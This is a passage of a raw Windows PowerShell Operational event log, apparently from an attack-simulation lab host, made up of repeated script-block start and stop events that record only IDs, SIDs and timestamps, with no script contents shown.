LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050302
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050301
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050300
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050299
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050298
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050297
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050296
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050295
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050294
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050293
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050292
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050291
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050290
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050289
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050288
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050287
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050286
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050285
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050284
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050283
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050282
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050281
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050280
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050279
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050278
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050277
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050276
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050275
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050274
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050273
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050272
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050271
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050270
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050269
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050268
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050267
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050266
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050265
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050264
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050263
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050262
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050261
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050260
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050259
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050258
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050257
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050256
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050255
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050254
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050253
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050252
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050251
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050250
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
